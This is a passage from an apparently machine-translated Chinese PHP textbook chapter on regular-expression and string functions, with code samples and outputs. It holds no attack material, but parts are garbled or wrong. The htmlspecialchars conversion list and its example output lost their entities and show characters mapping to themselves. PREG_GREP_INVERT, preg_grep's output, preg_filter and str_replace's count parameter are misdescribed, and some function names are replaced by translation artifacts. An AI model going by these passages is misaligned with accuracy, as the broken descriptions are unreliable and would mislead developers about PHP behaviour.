    $foods = array("pasta", "steak", "fish", "potatoes");
    $food = preg_grep("/^p/", $foods);
    print_r($food);
?>

这将返回以下内容:

Array ( [0] => pasta [3] => potatoes )

请注意,该数组对应于输入数组的索引顺序。如果该索引位置的值匹配,它将包含在输出数组的相应位置。否则,该位置是空的。如果你想删除那些空白的数组实例,通过第五章中介绍的函数array_values()过滤输出数组。

可选输入参数标志接受一个值PREG_GREP_INVERT。传递这个标志将导致检索那些匹配模式的数组元素。

分隔特殊正则表达式字符

函数preg_quote()在每个对正则表达式语法有特殊意义的字符前插入一个反斜杠分隔符。这些特殊字符包括$ ^ * ( ) + = { } [ ] | \\ : < >。其原型如下:

string preg_quote(string str [, string delimiter])

可选参数 delimiter 指定正则表达式使用什么分隔符,使其也被反斜杠转义。考虑一个例子:

<?php
    $text = "Tickets for the fight are going for $500.";
    echo preg_quote($text);
?>

这将返回以下内容:

Tickets for the fight are going for \$500\.

替换模式的所有出现

preg_replace()函数用replacement替换所有出现的pattern,并返回修改后的结果。其原型如下:

mixed preg_replace(mixed pattern, mixed replacement, mixed str [, int limit [, int count]])

注意图案替换参数都定义为mixed。这是因为您可以为这两者提供字符串或数组。可选输入参数 limit 指定应该发生多少次匹配。未设置limit或将其设置为-1将导致所有事件的替换(无限制)。最后,通过引用传递的可选计数参数将被设置为替换的总数。考虑一个例子:

<?php
    $text = "This is a link to http://www.wjgilmore.com/.";
    echo preg_replace("/http:\/\/(.*)\//", "<a href=\"\${0}\">\${0}</a>", $text);
?>

这将返回以下内容:

This is a link to
<a href="http://www.wjgilmore.com/">http://www.wjgilmore.com/</a>.

如果您将数组作为模式替换参数传递,该函数将遍历每个数组的每个元素,在发现替换时进行替换。考虑这个例子,它可以作为公司报告过滤器销售:

<?php
    $draft = "In 2010 the company faced plummeting revenues and scandal.";
    $keywords = array("/faced/", "/plummeting/", "/scandal/");
    $replacements = array("celebrated", "skyrocketing", "expansion");
    echo preg_replace($keywords, $replacements, $draft);
?>

这将返回以下内容:

In 2010 the company celebrated skyrocketing revenues and expansion.

preg_filter()函数的运行方式与preg_replace() ,相同,除了不返回修改后的结果,只返回匹配的结果。

创建自定义替换函数

在某些情况下,您可能希望根据 PHP 默认功能之外的一组更复杂的标准来替换字符串。例如,考虑这样一种情况,您想扫描一些文本中的首字母缩略词,如 IRS ,并在首字母缩略词后直接插入完整的名称。为此,您需要创建一个自定义函数,然后使用函数preg_replace_callback()将它临时绑定到语言中。其原型如下:

mixed preg_replace_callback(mixed pattern, callback callback, mixed str
                            [, int limit [, int count]])

模式参数确定您要查找的内容,而字符串参数定义您要搜索的字符串。回调参数定义用于替换任务的函数名。可选参数 limit 指定应该进行多少次匹配。未设置限值或将其设置为-1将导致所有事件被替换。最后,可选的计数参数将被设置为更换次数。在下面的例子中,名为acronym()的函数被传递到preg_replace_callback()中,用于将各种缩写的长形式插入到目标字符串中:

<?php

    // This function will add the acronym's long form
    // directly after any acronyms found in $matches
    function acronym($matches) {
        $acronyms = array(
            'WWW' => 'World Wide Web',
            'IRS' => 'Internal Revenue Service',
            'PDF' => 'Portable Document Format');

        if (isset($acronyms[$matches[1]]))
            return $acronyms[$matches[1]] . " (" . $matches[1] . ")";
        else
            return $matches[1];
    }

    // The target text
    $text = "The <acronym>IRS</acronym> offers tax forms in
             <acronym>PDF</acronym> format on the <acronym>WWW</acronym>.";

    // Add the acronyms' long forms to the target text
    $newtext = preg_replace_callback("/<acronym>(.*)<\/acronym>/U", 'acronym',
                                      $text);

    print_r($newtext);

?>

这将返回以下内容:

The Internal Revenue Service  (IRS) offers tax forms
in Portable Document Format (PDF) on the World Wide Web (WWW).

PHP 7.0 引入了 preg_replace_callback()的一个变种,叫做 preg_replace_callback_array()。这些函数以相似的方式工作,除了新函数将模式和回调组合成一个模式和回调数组。这使得用一个函数调用进行多次替换成为可能。

还要注意,随着匿名函数(也称为闭包)的引入(参见第四章),不再需要以函数名字符串的形式提供回调参数。可以写成匿名函数。上面的例子应该是这样的:

<?php

    // The target text
    $text = "The <acronym>IRS</acronym> offers tax forms in

             <acronym>PDF</acronym> format on the <acronym>WWW</acronym>.";

    // Add the acronyms' long forms to the target text
    $newtext = preg_replace_callback("/<acronym>(.*)<\/acronym>/U",
      function($matches) {
        $acronyms = array(
            'WWW' => 'World Wide Web',
            'IRS' => 'Internal Revenue Service',
            'PDF' => 'Portable Document Format');

        if (isset($acronyms[$matches[1]]))
            return $acronyms[$matches[1]] . " (" . $matches[1] . ")";
        else
            return $matches[1];
      },
       $text);
    print_r($newtext);

?>

基于不区分大小写的模式将字符串拆分为不同的元素

除了pattern也可以用正则表达式来定义之外,preg_split()函数的操作与explode(),完全一样。其原型如下:

array preg_split(string pattern, string string [, int limit [, int flags]])

如果指定了可选输入参数限制,则只返回该limit个数的子字符串。考虑一个例子:

<?php
    $delimitedText = "Jason+++Gilmore+++++++++++Columbus+++OH";
    $fields = preg_split("/\++/", $delimitedText);
    foreach($fields as $field) echo $field."<br />";
?>

这将返回以下内容:

Jason
Gilmore
Columbus
OH

注意

在本章的后面,“正则表达式函数的替代方法”一节提供了几个标准函数,它们可以代替正则表达式用于某些任务。在许多情况下,这些替代函数实际上比它们的正则表达式对应物执行得快得多。

其他字符串特定的函数

除了本章前半部分讨论的基于正则表达式的函数之外,PHP 还提供了大约 100 个函数,它们能够处理字符串的几乎所有方面。介绍每个函数超出了本书的范围,只会重复 PHP 文档中的许多信息。这一部分专门讨论各种类别的常见问题,重点关注社区论坛中似乎最常出现的与字符串相关的问题。该部分分为以下主题:

  • 确定字符串长度

  • 比较两个字符串

  • 操纵字符串大小写

  • 将字符串与 HTML 相互转换

  • 正则表达式函数的替代方法

  • 填充和剥离字符串

  • 计算字符和单词

注意

本节描述的函数假设字符串由单字节字符组成。这意味着字符串中的字符数等于字节数。有些字符集使用多个字节来表示每个字符。当用于多字节字符串时,标准的 PHP 函数通常无法提供正确的值。有一个名为 mb_string 的扩展可用于操作多字节字符串。

确定字符串的长度

确定字符串长度是无数应用中的重复操作。PHP 函数strlen()很好地完成了这项任务。此函数返回字符串的长度,其中字符串中的每个字符相当于一个单位(字节)。其原型如下:

int strlen(string str)

以下示例验证用户密码的长度是否可接受:

<?php
    $pswd = "secretpswd";
    if (strlen($pswd) < 10)
        echo "Password is too short!";
    else
        echo "Password is valid!";
?>

在这种情况下,不会出现错误消息,因为选择的密码由 10 个字符组成,而条件表达式验证目标字符串是否少于 10 个字符。

比较两个字符串

字符串比较可以说是任何语言的字符串处理功能中最重要的特性之一。虽然有很多方法可以比较两个字符串是否相等,但是 PHP 提供了四个函数来执行这个任务:strcmp(), strcasecmp(), strspn()strcspn()

敏感地比较两个字符串的大小写

strcmp()函数对两个字符串进行区分大小写的比较。其原型如下:

int strcmp(string str1, string str2)

它将根据比较结果返回三个可能值之一:

  • 0如果str1str2相等

  • -1如果str1小于str2

  • 1如果str2小于str1

网站通常要求注册用户输入并确认密码,从而降低了因打字错误而输入错误密码的可能性。strcmp()是比较两个密码条目的一个很好的功能,因为密码通常区分大小写:

<?php
    $pswd = "supersecret";
    $pswd2 = "supersecret2";

    if (strcmp($pswd, $pswd2) != 0) {
        echo "Passwords do not match!";
    } else {
        echo "Passwords match!";
    }
?>

注意,字符串必须完全匹配,strcmp()才会认为它们相等。例如,Supe rsecret 不同于 supersecret。如果你想比较两个字符串的大小写,考虑下一个介绍的strcasecmp()

关于这个函数的另一个常见混淆点是,如果两个字符串相等,它返回0的行为。这不同于使用==运算符执行字符串比较,如下所示:

if ($str1 == $str2)

虽然两者都完成了相同的目标,即比较两个字符串,但请记住,它们这样做返回的值是不同的。

不区分大小写地比较两个字符串

除了比较不区分大小写之外,strcasecmp()函数的操作与strcmp(),完全一样。其原型如下:

int strcasecmp(string str1, string str2)

以下示例比较了两个电子邮件地址,这是对strcasecmp()的理想使用,因为大小写不决定电子邮件地址的唯一性:

<?php
    $email1 = "admin@example.com";
    $email2 = "ADMIN@example.com";

    if (! strcasecmp($email1, $email2))
        echo "The email addresses are identical!";
?>

在本例中,输出消息是因为strcasecmp()对 email1 和 email2 执行不区分大小写的比较,并确定它们确实相同。

计算两个字符串之间的相似度

函数的作用是:返回一个字符串中第一段的长度,该字符串中包含的字符也可以在另一个字符串中找到。其原型如下:

int strspn(string str1, string str2 [, int start [, int length]])

以下是如何使用strspn()来确保密码不仅仅由数字组成:

<?php
    $password = "3312345";
    if (strspn($password, "1234567890") == strlen($password))
        echo "The password cannot consist solely of numbers!";
?>

在这种情况下,会返回错误消息,因为$password确实只由数字组成。

您可以使用可选的 start 参数来定义字符串中的起始位置,而不是默认的 0 偏移量。可选的长度参数可用于定义将用于比较的str1字符串的长度。

计算两个字符串之间的差

strcspn()函数返回一个字符串的第一段长度,该字符串包含在另一个字符串中找不到的字符。可选的起始长度参数的行为方式与之前介绍的strspn()功能中使用的方式相同。其原型如下:

int strcspn(string str1, string str2 [, int start [, int length]])

这里有一个使用strcspn():进行密码验证的例子

<?php
    $password = "a12345";
    if (strcspn($password, "1234567890") == 0) {
        echo "Password cannot consist solely of numbers!";
    }
?>

在这种情况下,不会显示错误消息,因为$password不仅仅由数字组成。

操纵字符串大小写

有五个函数可以帮助你处理字符串中字符的大小写:strtolower(), strtoupper(), ucfirst()lcfirst()ucwords()

将字符串转换为全部小写

strtolower()函数将一个字符串转换成全部小写字母,返回修改后的字符串。非字母字符不受影响。其原型如下:

string strtolower(string str)

以下示例使用strtolower()将 URL 转换为全部小写字母:

<?php
    $url = "http://WWW.EXAMPLE.COM/";
    echo strtolower($url);
?>

这将返回以下内容:

http://www.example.com/

将字符串转换为全大写

正如您可以将字符串转换为小写一样,您也可以将其转换为大写。这是通过函数strtoupper() .完成的,其原型如下:

string strtoupper(string str)

非字母字符不受影响。此示例使用strtoupper()将字符串转换为全大写字母:

<?php
    $msg = "I annoy people by capitalizing e-mail text.";
    echo strtoupper($msg);
?>

这将返回以下内容:

I ANNOY PEOPLE BY CAPITALIZING E-MAIL TEXT.

将字符串的第一个字母大写

ucfirst()函数将字符串str的第一个字母大写,如果它是字母的话。其原型如下:

string ucfirst(string str)

非字母字符不会受到影响。此外,字符串中的任何大写字符都将保持不变。考虑这个例子:

<?php
    $sentence = "the newest version of PHP was released today!";
    echo ucfirst($sentence);
?>

这将返回以下内容:

The newest version of PHP was released today!

注意,虽然第一个字母确实是大写的,但是大写的单词 PHP 没有被改动。函数lcfirst()执行相反的操作,将字符串的第一个字符转换成小写。

将字符串中的每个单词大写

函数的作用是:将字符串中每个单词的首字母大写。其原型如下:

string ucwords(string str)

非字母字符不受影响。此示例使用ucwords()将字符串中的每个单词大写:

<?php
    $title = "O'Malley wins the heavyweight championship!";
    echo ucwords($title);
?>

这将返回以下内容:

O'Malley Wins The Heavyweight Championship!

请注意,如果欧玛利不小心被写成奥马利ucwords()不会捕捉到错误,因为它认为一个单词被定义为一串字符,通过两边的空格与字符串中的其他实体分开。

将字符串与 HTML 相互转换

将一个字符串或整个文件转换成适合在 Web 上查看的形式(反之亦然)比您想象的要容易,而且会带来一些安全风险。如果输入字符串是由正在浏览网站的用户提供的,则有可能注入将由浏览器执行的脚本代码,因为现在看起来该代码来自服务器。不要相信用户的输入。以下函数适用于此类任务。

将换行符转换为 HTML Break 标记

nl2br()函数将字符串中的所有换行符(\n)转换为符合 XHTML 标准的对应字符<br />。其原型如下:

string nl2br(string str)

换行符可以通过回车创建,或者显式写入字符串。以下示例将文本字符串转换为 HTML 格式:

<?php
    $recipe = "3 tablespoons Dijon mustard
    1/3 cup Caesar salad dressing
    8 ounces grilled chicken breast
    3 cups romaine lettuce";

    // convert the newlines to <br />'s.
    echo nl2br($recipe);
?>

执行此示例会产生以下输出:

3 tablespoons Dijon mustard<br />
1/3 cup Caesar salad dressing<br />
8 ounces grilled chicken breast<br />
3 cups romaine lettuce

将特殊字符转换为它们的 HTML 等效字符

在一般的交流过程中,您可能会遇到许多不包含在文档的文本编码中的字符,或者在键盘上不容易找到的字符。这种字符的例子包括版权符号(©)、分符号( )和重音符(è)。为了弥补这些缺点,人们设计了一套通用键码,称为字符实体引用。当浏览器解析这些实体时,它们将被转换成可识别的对应实体。例如,前面提到的三个角色将分别表示为©&cent;&Egrave;

要执行这些转换,您可以使用htmlentities()功能。其原型如下:

string htmlentities(string str [, int flags [, int charset [, boolean double_encode]]])

由于标记中引号的特殊性质,可选的 quote_style 参数提供了选择如何处理它们的机会。接受三个值:

  • ENT_COMPAT:转换双引号,忽略单引号。这是默认设置。

  • ENT_NOQUOTES:忽略双引号和单引号。

  • ENT_QUOTES:转换双引号和单引号。

第二个可选参数 charset ,决定用于转换的字符集。表 9-2 提供了支持的字符集列表。如果省略了charset,它将默认使用 php.ini 设置 default_charset 定义的默认字符集。

表 9-2

htmlentities()支持的字符集

|

字符集

|

描述

|
| --- | --- |
| BIG5 | 繁体中文 |
| BIG5-HKSCS | BIG5 附加香港扩展,繁体中文 |
| cp866 | 特定于 DOS 的西里尔字符集 |
| cp1251 | 特定于 Windows 的西里尔字符集 |
| cp1252 | 西欧的 Windows 专用字符集 |
| EUC-JP | 日本人 |
| GB2312 | 简体中文 |
| ISO-8859-1 | 西欧,拉丁语-1 |
| ISO-8859-5 | 很少使用的西里尔字符集(拉丁语/西里尔语)。 |
| ISO-8859-15 | 西欧,拉丁语-9 |
| KOI8-R | 俄语 |
| Shift_JIS | 日本人 |
| MacRoman | Mac OS 使用的字符集 |
| UTF-8 | ASCII 兼容多字节 8 编码 |

最后一个可选参数 double_encode 将阻止htmlentities()对字符串中已经存在的任何 HTML 实体进行编码。在大多数情况下,如果您怀疑 HTML 实体已经存在于目标字符串中,您可能希望启用该参数。

以下示例转换 web 显示所需的字符:

<?php
    $advertisement = "Coffee at 'Cafè Française' costs $2.25.";
    echo  htmlentities($advertisement);
?>

这将返回以下内容:

Coffee at 'Caf&egrave; Fran&ccedil;aise' costs $2.25.

两个字符被转换,重音符()和变音符号()。由于默认的quote_style设置ENT_COMPAT,单引号被忽略。

将特殊 HTML 字符用于其他目的

一些字符在标记语言和人类语言中扮演着双重角色。当以后一种方式使用时,这些字符必须被转换成它们可显示的等价物。例如,“与”号必须转换成&,而大于号必须转换成>htmlspecialchars()函数可以帮你做到这一点,将下面的字符转换成它们兼容的对等物。其原型如下:

string htmlspecialchars(string str [, int quote_style [, string charset [, boolean double_encode]]])

可选的字符集双编码参数的操作方式与上一节对htmlentities()功能的解释相同。

htmlspecialchars()可以转换的字符列表及其结果格式如下:

  • &变成了&

  • "(双引号)变成"

  • '(单引号)变为'

  • <变成了<

  • >变成了>

这个函数在防止用户在交互式 web 应用(如留言板)中输入 HTML 标记时特别有用。

以下示例使用htmlspecialchars() :转换可能有害的字符

<?php
    $input = "I just can't get <<enough>> of PHP!";
    echo htmlspecialchars($input);
?>

查看源代码,您会看到以下内容:

I just can't get <<enough>> of PHP!

如果不需要翻译,也许更有效的方法是使用strip_tags() ,将标签从字符串中完全删除。

小费

如果是将htmlspecialchars()nl2br()等函数结合使用,应该在htmlspecialchars()之后执行nl2br();否则,用nl2br()生成的<br />标签将被转换为可见字符。

将文本转换为 HTML 格式

使用get_html_translation_table()是一种将文本翻译成其 HTML 等价物的便捷方式,返回两个翻译表中的一个(HTML_SPECIALCHARSHTML_ENTITIES)。其原型如下:

array get_html_translation_table(int table [, int quote_style])

然后,这个返回值可以与另一个预定义函数strtr()(在本节后面正式介绍)结合使用,将文本翻译成相应的 HTML 代码。

以下示例使用get_html_translation_table()将文本转换为 HTML:

<?php
    $string = "La pasta è il piatto più amato in Italia";
    $translate = get_html_translation_table(HTML_ENTITIES);
    echo strtr($string, $translate);
?>

这将返回浏览器呈现所需格式的字符串:

La pasta &egrave; il piatto pi&ugrave; amato in Italia

有趣的是,array_flip()能够逆转文本到 HTML 的翻译,反之亦然。假设您没有打印前面代码示例中strtr()的结果,而是将它赋给了变量$translated_string

下一个例子使用array_flip()将一个字符串返回到它的初始值:

<?php
    $entities = get_html_translation_table(HTML_ENTITIES);
    $translate = array_flip($entities);
    $string = "La pasta &egrave; il piatto pi&ugrave; amato in Italia";
    echo strtr($string, $translate);
?>

这将返回以下内容:

La pasta é il piatto più amato in italia

创建自定义转换列表

函数的作用是:将一个字符串中的所有字符转换成在一个预定义的数组中找到的相应匹配。其原型如下:

string strtr(string str, array replacements)

本示例将不推荐使用的粗体(<b>)字符转换为其 XHTML 等效字符:

<?php
    $table = array('<b>' => '<strong>', '</b>' => '</strong>');
    $html = '<b>Today In PHP-Powered News</b>';
    echo strtr($html, $table);
?>

这将返回以下内容:

<strong>Today In PHP-Powered News</strong>

将 HTML 转换为纯文本

有时您可能需要将 HTML 文件转换为纯文本。您可以使用strip_tags()函数来实现,该函数从字符串中移除所有 HTML 和 PHP 标签,只留下文本实体。其原型如下:

string strip_tags(string str [, string allowable_tags])

可选的 allowable_tags 参数允许您指定在此过程中希望跳过哪些标签。跳过标签不会处理被跳过标签中的任何属性。如果输入是由用户提供的,并且那些属性包含 JavaScript,这可能是危险的。这个例子使用strip_tags()从一个字符串中删除所有的 HTML 标签:

<?php
    $input = "Email <a href='spammer@example.com'>spammer@example.com</a>";
    echo strip_tags($input);
?>

这将返回以下内容:

Email spammer@example.com

以下示例去除除了<a>标签之外的所有标签:

<?php
    $input = "This <a href='http://www.example.com/'>example</a>
              is <b>awesome</b>!";
    echo strip_tags($input, "<a>");
?>

这将返回以下内容:

This <a href='http://www.example.com/'>example</a> is awesome!

注意

另一个类似于strip_tags()的函数是fgetss()。该功能在第十章中描述。

正则表达式函数的替代方法

当您处理大量信息时,正则表达式函数会大大降低速度。只有当您对解析需要使用正则表达式的相对复杂的字符串感兴趣时,才应该使用这些函数。如果您对简单表达式的解析感兴趣,有各种预定义的函数可以大大加快这个过程。本节将介绍这些功能。

基于预定义字符对字符串进行标记

记号化是一个计算机术语,用于将字符串分割成更小的部分。编译器用它来将程序转换成单独的命令或标记。strtok()函数根据预定义的字符列表对字符串进行标记。其原型如下:

string strtok(string str, string tokens)

关于strtok()的一个奇怪之处是,为了完全标记化一个字符串,必须不断地调用它;每个调用只标记字符串的下一部分。然而, str 参数只需要指定一次,因为该函数会跟踪它在str中的位置,直到它完全标记 str 或者指定了新的 str 参数。它的行为可以通过一个例子得到最好的解释:

<?php
    $info = "J. Gilmore:jason@example.com|Columbus, Ohio";

    // delimiters include colon (:), vertical bar (|), and comma (,)
    $tokens = ":|,";
    $tokenized = strtok($info, $tokens);

    // print out each element in the $tokenized array
    while ($tokenized) {
        echo "Element = $tokenized<br>";
        // Don't include the first argument in subsequent calls.
        $tokenized = strtok($tokens);
    }
?>

这将返回以下内容:

Element = J. Gilmore
Element = jason@example.com
Element = Columbus
Element = Ohio

根据预定义的分隔符分解字符串

explode()函数将字符串str分成一个子字符串数组。其原型如下:

array explode(string separator, string str [, int limit])

根据separator指定的字符分隔符,原始字符串被分成不同的元素。可以通过可选的 limit 来限制元素的数量。让我们结合使用explode()sizeof()strip_tags()来确定给定文本块中的总字数:

<?php
    $summary = <<<summary
    The most up to date source for PHP documentation is the PHP manual.
    It contins many examples and user contributed code and comments.
    It is available on the main PHP web site
    <a href="http://www.php.net">PHP’s</a>.
summary;
    $words = sizeof(explode(' ',strip_tags($summary)));
    echo "Total words in summary: $words";
?>

这将返回以下内容:

Total words in summary: 46

explode()功能总是比preg_split()快得多。因此,当正则表达式不是必需的时候,总是用它来代替其他的。

注意

您可能想知道为什么前面的代码以不一致的方式缩进。多行字符串使用 heredoc 语法分隔,这要求结束标识符不能缩进,甚至不能缩进一个空格。有关 heredoc 的更多信息,请参见第三章。

将数组转换为字符串

正如您可以使用explode()函数将分隔的字符串分成不同的数组元素一样,您可以使用implode()函数将数组元素连接起来形成一个分隔的字符串。其原型如下:

string implode(string delimiter, array pieces)
This example forms a string out of the elements of an array:
<?php
    $cities = array("Columbus", "Akron", "Cleveland", "Cincinnati");
    echo implode("|", $cities);
?>

这将返回以下内容:

Columbus|Akron|Cleveland|Cincinnati

执行复杂字符串解析

strpos()函数查找字符串中第一个区分大小写的a substring的位置。其原型如下:

int strpos(string str, string substr [, int offset])

可选输入参数 offset 指定开始搜索的位置。如果 substr 不在 str 中,strpos()将返回 FALSE。可选参数 offset 决定了strpos()开始搜索的位置。以下示例确定第一次访问index.html的时间戳:

<?php
    $substr = "index.html";
    $log = <<< logfile
    192.168.1.11:/www/htdocs/index.html:[2010/02/10:20:36:50]
    192.168.1.13:/www/htdocs/about.html:[2010/02/11:04:15:23]
    192.168.1.15:/www/htdocs/index.html:[2010/02/15:17:25]
logfile;

   // What is first occurrence of the time $substr in log?
   $pos = strpos($log, $substr);

   // Find the numerical position of the end of the line
   $pos2 = strpos($log,"\n",$pos);

   // Calculate the beginning of the timestamp
   $pos = $pos + strlen($substr) + 1;

   // Retrieve the timestamp
   $timestamp = substr($log,$pos,$pos2-$pos);
   echo "The file $substr was first accessed on: $timestamp";
?>

这将返回首次访问文件index.html的位置:

The file index.html was first accessed on: [2010/02/10:20:36:50]

函数stripos()的操作与strpos(),相同,只是它不敏感地执行其搜索案例。

查找字符串的最后一个匹配项

strrpos()函数查找最后一个出现的字符串,返回它的数字位置。其原型如下:

int strrpos(string str, char substr [, offset])

可选参数偏移量决定了strrpos()开始搜索的位置。假设您想要削减冗长的新闻摘要,截断摘要并用省略号替换被截断的部分。然而,不是简单地在期望的长度上显式地截断摘要,而是希望它以用户友好的方式操作,在最接近截断长度的单词末尾截断。这个函数非常适合这样的任务。考虑这个例子:

<?php
    // Limit $summary to how many characters?
    $limit = 100;

    $summary = <<< summary
    The most up to date source for PHP documentation is the PHP manual.
    It contins many examples and user contributed code and comments.
    It is available on the main PHP web site
    <a href="http://www.php.net">PHP’s</a>.
summary;

    if (strlen($summary) > $limit)
        $summary = substr($summary, 0, strrpos(substr($summary, 0, $limit),
                          ' ')) . '...';
    echo $summary;
?>

这将返回以下内容:

The most up to date source for PHP documentation is the PHP manual.
It contins many...

用另一个字符串替换一个字符串的所有实例

函数 case 敏感地将一个字符串的所有实例替换为另一个。其原型如下:

mixed str_replace(string occurrence, mixed replacement, mixed str [, int count])

如果在str中找不到occurrence,则原始字符串被不加修改地返回。如果定义了可选参数计数,则只有在str中发现的count事件会被替换。

此功能非常适合在自动电子邮件地址检索程序中隐藏电子邮件地址:

<?php
    $author = "jason@example.com";
    $author = str_replace("@","(at)",$author);
    echo "Contact the author of this article at $author.";
?>

这将返回以下内容:

Contact the author of this article at jason(at)example.com.

函数str_ireplace()的操作与str_replace(),相同,只是它能够执行不区分大小写的搜索。

检索字符串的一部分

strstr()函数从预定义字符串的第一次出现开始返回字符串的剩余部分。其原型如下:

string strstr(string str, string occurrence [, bool before_needle])

可选的 before_needle 参数修改strstr() ,的行为,使函数返回在第一次出现之前找到的字符串部分。

此示例结合使用函数和ltrim()函数来检索电子邮件地址的域名:

<?php
    $url = "sales@example.com";
    echo ltrim(strstr($url, "@"),"@");
?>

这将返回以下内容:

example.com

基于预定义的偏移量返回字符串的一部分

substr()函数返回位于预定义的起始偏移量和长度位置之间的字符串部分。其原型如下:

string substr(string str, int start [, int length])

如果没有指定可选的长度参数,则认为子串是从start开始到str结束的字符串。使用此功能时,请记住四点:

  • 如果 start 为正数,返回的字符串将从字符串的开始位置开始。

  • 如果start为负,返回的字符串将从字符串的length - start位置开始。

  • 如果提供了length并且是正数,返回的字符串将由startstart + length之间的字符组成。如果这个距离超过了字符串的总长度,则只返回从开始到结束之间的字符串。

  • 如果提供了length并且为负,则返回的字符串将从str的结尾开始结束length个字符。

请记住, start 是从str的第一个字符开始的偏移量,字符串(如数组)的索引是 0。考虑一个基本的例子:

<?php
    $car = "1944 Ford";
    echo substr($car, 5);
?>

这将从位置 5 处的第六个字符开始返回以下内容:

Ford

以下示例使用了长度参数:

<?php
    $car = "1944 Ford";
    echo substr($car, 0, 4);
?>

这将返回以下内容:

1944

最后一个例子使用负的长度参数:

<?php
    $car = "1944 Ford";
    echo substr($car, 2, -5);
?>

这将返回以下内容:

44

确定字符串出现的频率

substr_count()函数返回一个字符串在另一个字符串中出现的次数。该函数区分大小写。其原型如下:

int substr_count(string str, string substring [, int offset [, int length]])

可选的 offsetlength 参数分别决定了开始尝试匹配字符串中子字符串的字符串偏移量,以及偏移量之后要搜索的字符串的最大长度。

以下示例确定了 IT 顾问在其演示文稿中使用各种流行词汇的次数:

<?php
    $buzzwords = array("mindshare", "synergy", "space");

    $talk = <<< talk
    I'm certain that we could dominate mindshare in this space with
    our new product, establishing a true synergy between the marketing
    and product development teams. We'll own this space in three months.
talk;

    foreach($buzzwords as $bw) {
        echo "The word $bw appears ".substr_count($talk,$bw)." time(s).<br />";
    }
?>

这将返回以下内容:

The word mindshare appears 1 time(s).
The word synergy appears 1 time(s).
The word space appears 2 time(s).

用另一个字符串替换一个字符串的一部分

substr_replace()函数用替换字符串替换字符串的一部分,从指定的起始位置开始替换,到预定义的替换长度结束。其原型如下:

string substr_replace(string str, string replacement, int start [, int length])

或者,替换将在str中的replacement完全放置时停止。关于startlength的值,有几个行为你应该记住:

  • 如果start为正数,replacement将从字符start开始。

  • 如果start为负,replacement将从str 长度- start开始。

  • 如果提供了length并且是正数,replacement的长度将为length个字符。

  • 如果提供了length并且为负,replacement将在str 长度- length字符处结束。

假设您构建了一个电子商务站点,并且在用户配置文件界面中,您希望只显示所提供的信用卡号的最后四位数字。这个函数非常适合这样的任务:

<?php
    $ccnumber = "1234567899991111";
    echo substr_replace($ccnumber,"************",0,12);
?>

这将返回以下内容:

************1111

填充和剥离字符串

出于格式原因,有时需要通过填充字符或剥离字符来修改字符串长度。PHP 为此提供了许多函数。本节研究了许多常用的函数。

从字符串的开头修剪字符

ltrim()函数删除字符串开头的各种字符,包括空格、水平制表符(\t)、换行符(\n)、回车符(\r)、NULL ( \0)和垂直制表符(\x0b)。其原型如下:

string ltrim(string str [, string charlist])

您可以通过在可选参数 charlist 中定义其他字符来指定要删除的字符。

从字符串末尾修剪字符

rtrim()函数的操作与ltrim(),相同,除了它从字符串的右边移除指定的字符。其原型如下:


string rtrim(string str [, string charlist])

从字符串的两边修剪字符

你可以把trim()函数看作是ltrim()rtrim(),的组合,除了它从字符串的两边移除指定的字符:

string trim(string str [, string charlist])

填充字符串

函数用指定数量的字符填充字符串。其原型如下:

string str_pad(string str, int length [, string pad_string [, int pad_type]])

如果可选参数 pad_string 没有定义,str将用空格填充;否则,它将用 pad_string 指定的字符模式填充。默认情况下,字符串将被填充到右侧;然而,可选参数 pad_type 可能被赋予值STR_PAD_RIGHT(默认)、STR_PAD_LEFTSTR_PAD_BOTH,从而填充字符串。此示例显示了如何使用此函数填充字符串:

<?php
    echo str_pad("Salad", 10)." is good.";
?>

这将返回以下内容:

Salad     is good.

这个例子使用了str_pad()的可选参数:

<?php
    $header = "Log Report";
    echo str_pad ($header, 20, "=+", STR_PAD_BOTH);
?>

这将返回以下内容:

=+=+=Log Report=+=+=

注意,如果在完成图案的整个重复之前达到长度,则str_pad()会截断由pad_string定义的图案。

计算字符和单词

确定给定字符串中的字符或单词总数通常很有用。尽管 PHP 在字符串解析方面的强大功能长期以来使这项任务变得微不足道,但还是添加了以下两个函数来使这个过程形式化。

计算字符串中的字符数

函数count_chars()提供关于在字符串中找到的字符的信息。这个函数只对单字节字符有效。其原型如下:

mixed count_chars(string str [, int mode])

其行为取决于可选参数模式的定义方式:

  • 0:返回一个数组,由每个找到的字节值(0-255 代表每个可能的字符)作为键,对应的频率作为值,即使频率为零。这是默认设置。

  • 1:与 0 相同,但只返回那些频率大于零的字节值。

  • 2:与0相同,但只返回那些频率为零的字节值。

  • 3:返回一个包含所有已定位字节值的字符串。

  • 4:返回包含所有未使用字节值的字符串。

  • 下面的例子统计了$sentence中每个字符的出现频率:

<?php
    $sentence = "The rain in Spain falls mainly on the plain";

    // Retrieve located characters and their corresponding frequency.
    $chart = count_chars($sentence, 1);

    foreach($chart as $letter=>$frequency) 

        echo "Character ".chr($letter)." appears $frequency times<br />";
?>

这将返回以下内容:

Character appears 8 times
Character S appears 1 times
Character T appears 1 times
Character a appears 5 times
Character e appears 2 times
Character f appears 1 times
Character h appears 2 times
Character i appears 5 times
Character l appears 4 times
Character m appears 1 times
Character n appears 6 times
Character o appears 1 times
Character p appears 2 times
Character r appears 1 times
Character s appears 1 times
Character t appears 1 times

Character y appears 1 times

计算字符串中的单词总数

函数str_word_count()提供了关于在一个字符串中找到的单词总数的信息。根据本地设置,单词被定义为字母字符串,可以包含但不以–和'开头。其原型如下:

mixed str_word_count(string str [, int format])

如果可选参数格式没有定义,将返回总字数。如果定义了格式,它会根据其值修改函数的行为:

  • 1:返回一个由位于str中的所有单词组成的数组。

  • 2:返回一个关联数组,其中键是单词在str中的数字位置,值是单词本身。

考虑一个例子:

<?php
    $summary = <<< summary
    The most up to date source for PHP documentation is the PHP manual.
    It contins many examples and user contributed code and comments.
    It is available on the main PHP web site
    <a href="http://www.php.net">PHP's</a>.
summary;
   $words = str_word_count($summary);
   printf("Total words in summary: %s", $words);
?>

这将返回以下内容:

Total words in summary: 41

您可以结合使用此函数和array_count_values()来确定每个单词在字符串中出现的频率:

<?php
$summary = <<< summary
    The most up to date source for PHP documentation is the PHP manual.
    It contins many examples and user contributed code and comments.
    It is available on the main PHP web site
    <a href="http://www.php.net">PHP’s</a>.
summary;
   $words = str_word_count($summary,2);
   $frequency = array_count_values($words);
   print_r($frequency);
?>

这将返回以下内容:

